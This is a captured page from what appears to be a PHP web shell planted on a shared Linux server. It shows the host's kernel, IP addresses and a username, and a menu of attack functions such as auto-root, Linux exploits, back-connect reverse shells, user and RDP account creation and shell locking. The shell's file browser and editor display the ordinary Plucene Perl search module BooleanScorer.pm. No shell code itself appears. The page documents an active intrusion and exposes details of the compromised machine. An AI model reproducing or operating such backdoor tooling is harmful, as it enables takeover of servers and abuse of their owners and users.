Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Plucene /
Search /
[ HOME SHELL ]
Name
Size
Permission
Action
PhraseScorer
[ DIR ]
drwxr-xr-x
BooleanClause.pm
385
B
-rw-r--r--
BooleanQuery.pm
4.24
KB
-rw-r--r--
BooleanScorer.pm
3.93
KB
-rw-r--r--
DateFilter.pm
2.08
KB
-rw-r--r--
Filter.pm
1.13
KB
-rw-r--r--
HitCollector.pm
1.19
KB
-rw-r--r--
Hits.pm
2.39
KB
-rw-r--r--
IndexSearcher.pm
3.35
KB
-rw-r--r--
PhrasePositions.pm
1.37
KB
-rw-r--r--
PhraseQuery.pm
3.21
KB
-rw-r--r--
PhraseScorer.pm
2
KB
-rw-r--r--
PrefixQuery.pm
1.81
KB
-rw-r--r--
Query.pm
2.12
KB
-rw-r--r--
Scorer.pm
663
B
-rw-r--r--
Searcher.pm
1.94
KB
-rw-r--r--
Similarity.pm
1.06
KB
-rw-r--r--
TermQuery.pm
2.46
KB
-rw-r--r--
TermScorer.pm
1.67
KB
-rw-r--r--
TopDocs.pm
701
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : BooleanScorer.pm
package Plucene::Search::BooleanScorer; =head1 NAME Plucene::Search::BooleanScorer - A boolean scorer =head1 SYNOPSIS # isa Plucene::Search::Scorer $bool_scorer->add($scorer, $required, $prohibited); $bool_scorer->score($results, $max_doc); =head1 DESCRIPTION This is a scoring class for boolean scorers. =head1 METHODS =cut use strict; use warnings; use List::Util qw(min); use Plucene::Search::Similarity; use base qw(Plucene::Search::Scorer Class::Accessor::Fast); __PACKAGE__->mk_accessors( qw(next_mask required_mask prohibited_mask max_coord scorers bucket_table coord_factors current_doc) ); =head2 new my $bool_scorer = Plucene::Search::BooleanScorer->new; Create a new Plucene::Search::BooleanScorer object. =head2 next_mask / required_mask / prohibited_mask max_coord / scorers / bucket_table / coord_factors / current_doc Get / set these attributes =cut sub new { my $self = shift->SUPER::new(@_); $self->max_coord(1); $self->next_mask(1); $self->current_doc(0); $self->required_mask(0); $self->prohibited_mask(0); $self->scorers([]); $self->bucket_table(Plucene::Search::BucketTable->new({ scorer => $self })); return $self; } =head2 add $bool_scorer->add($scorer, $required, $prohibited); =cut sub add { my ($self, $scorer, $required, $prohibited) = @_; my $mask = 0; if ($required || $prohibited) { $mask = $self->next_mask; $self->{next_mask} <<= 1; } $self->{max_coord}++ unless $prohibited; $self->{prohibited_mask} |= $mask if $prohibited; $self->{required_mask} |= $mask if $required; push @{ $self->{scorers} }, { scorer => $scorer, required => $required, prohibited => $prohibited, collector => $self->bucket_table->new_collector($mask) }; } sub _compute_coord_factors { my $self = shift; $self->coord_factors([ map Plucene::Search::Similarity->coord($_, $self->max_coord), 0 .. $self->max_coord ]); } =head2 score $bool_scorer->score($results, $max_doc); =cut sub score { my ($self, $results, $max_doc) = @_; $self->_compute_coord_factors if not defined $self->coord_factors; while ($self->current_doc < $max_doc) { $self->current_doc( min( $self->{current_doc} + $Plucene::Search::BucketTable::SIZE, $max_doc )); for my $t (@{ $self->{scorers} }) { $t->{scorer}->score($t->{collector}, $self->current_doc); } $self->bucket_table->collect_hits($results); } } package Plucene::Search::BucketTable; our $SIZE = 1 << 10; our $MASK = $SIZE - 1; use base 'Class::Accessor::Fast'; __PACKAGE__->mk_accessors(qw(buckets first scorer)); sub new { my $self = shift->SUPER::new(@_); $self->buckets([]); $self; } sub collect_hits { my ($self, $results) = @_; my $scorer = $self->scorer; my $required = $scorer->required_mask; my $prohibited = $scorer->prohibited_mask; my @coord = @{ $scorer->coord_factors }; for (my $bucket = $self->{first} ; $bucket ; $bucket = $bucket->{next}) { if ( ($bucket->{bits} & $prohibited) == 0 and ($bucket->{bits} & $required) == $required) { $results->collect($bucket->{doc}, $bucket->{score} * $coord[ $bucket->{coord} ]); } } undef $self->{first}; } sub new_collector { my ($self, $mask) = @_; return Plucene::Search::BucketCollector->new({ bucket_table => $self, mask => $mask }); } package Plucene::Search::BucketCollector; use base (qw(Class::Accessor::Fast Plucene::Search::HitCollector)); __PACKAGE__->mk_accessors(qw(bucket_table mask)); sub collect { my ($self, $doc, $score) = @_; my $table = $self->{bucket_table}; my $i = $doc & $Plucene::Search::BucketTable::MASK; my $bucket = $table->buckets->[$i]; $table->buckets->[$i] = $bucket = {} unless $bucket; if (not defined $bucket->{doc} or $bucket->{doc} != $doc) { @{$bucket}{qw(doc score bits coord)} = ($doc, $score, $self->{mask}, 1); $bucket->{next} = $table->first; $table->first($bucket); } else { $bucket->{score} += $score; $bucket->{bits} |= $self->{mask}; $bucket->{coord}++; } } 1;
Close